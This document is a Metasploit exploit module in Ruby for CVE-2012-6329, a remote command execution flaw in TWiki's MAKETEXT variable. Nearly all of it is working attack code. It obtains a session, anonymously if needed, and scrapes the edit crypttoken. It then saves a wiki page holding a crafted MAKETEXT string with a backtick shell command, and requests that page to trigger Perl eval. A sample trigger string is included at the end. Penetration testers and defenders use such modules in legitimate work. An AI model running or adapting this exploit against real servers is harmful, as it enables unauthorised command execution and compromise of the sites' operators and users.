##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TWiki MAKETEXT Remote Command Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
        specially crafted MAKETEXT, a malicious user can execute shell commands since user
        input is passed to the Perl "eval" command without first being sanitized. The
        problem is caused by an underlying security issue in the CPAN:Locale::Maketext
        module. This works in TWiki sites that have user interface localization enabled
        (UserInterfaceInternationalisation variable set).

        If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
        if the 'TwikiPage' option isn't provided, the module will try to create a random
        page on the SandBox space.  The modules has been tested successfully on
        TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
      },
      'Author'         =>
        [
          'George Clark', # original discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6329' ],
          [ 'OSVDB', '88460' ],
          [ 'BID', '56950' ],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic ruby python bash telnet'
            }
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Dec 15 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),
        OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
        OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
        OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
      ], self.class)
  end

  def do_login(username, password)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => "#{@base}do/login",
      'vars_post' =>
        {
          'username' => username,
          'password' => password
        }
      })

    if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
      return nil
    end

    session = $1
    return session
  end

  def inject_code(session, code)

    vprint_status("Retrieving the crypttoken...")

    res = send_request_cgi({
      'uri'      => "#{@base}do/edit#{@page}",
      'cookie'   => "TWIKISID=#{session}",
      'vars_get' =>
        {
          'nowysiwyg' => '1'
        }
    })

    if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
      vprint_error("Error retrieving the crypttoken")
      return nil
    end

    crypttoken = $1
    vprint_good("crypttoken found: #{crypttoken}")

    if session.empty?
      if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
        session = $1
      else
        vprint_error("Error using anonymous access")
        return nil
      end
    end

    vprint_status("Injecting the payload...")

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => "#{@base}do/save#{@page}",
      'cookie'   => "TWIKISID=#{session}",
      'vars_post' =>
      {
        'crypttoken' => crypttoken,
        'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
      }
    })

    if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
      print_warning("Error injecting the payload")
      print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
      return nil
    end

    location = URI(res.headers['Location']).path
    print_good("Payload injected on #{location}")

    return location
  end

  def check
    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    res = send_request_cgi({
      'uri'      => "#{@base}do/view/TWiki/WebHome"
    })

    if not res or res.code != 200
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
      version = $1
      print_status("Version found: #{version}")
      if version < "5.1.3"
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    return Exploit::CheckCode::Detected
  end


  def exploit

    # Init variables
    @page = ''

    if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?
      @page << '/' if datastore['TwikiPage'][0] != '/'
      @page << datastore['TwikiPage']
    else
      @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
    end

    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    # Login if needed
    if (datastore['USERNAME'] and
      not datastore['USERNAME'].empty? and
      datastore['PASSWORD'] and
      not datastore['PASSWORD'].empty?)
      print_status("Trying login to get session ID...")
      session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
    else
      print_status("Using anonymous access...")
      session = ""
    end

    if not session
      fail_with(Failure::Unknown, "Error getting a session ID")
    end

    # Inject payload
    print_status("Trying to inject the payload on #{@page}...")
    res = inject_code(session, payload.encoded)
    if not res
      fail_with(Failure::Unknown, "Error injecting the payload")
    end

    # Execute payload
    print_status("Executing the payload through #{res}...")
    res = send_request_cgi({
      'uri'      => res,
      'cookie'   => "TWIKISID=#{session}"
    })
    if not res or res.code != 200 or res.body !~ /HASH/
      fail_with(Failure::Unknown, "Error executing the payload")
    end

    print_good("Exploitation was successful")

  end

end

=begin

* Trigger:

%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%

=end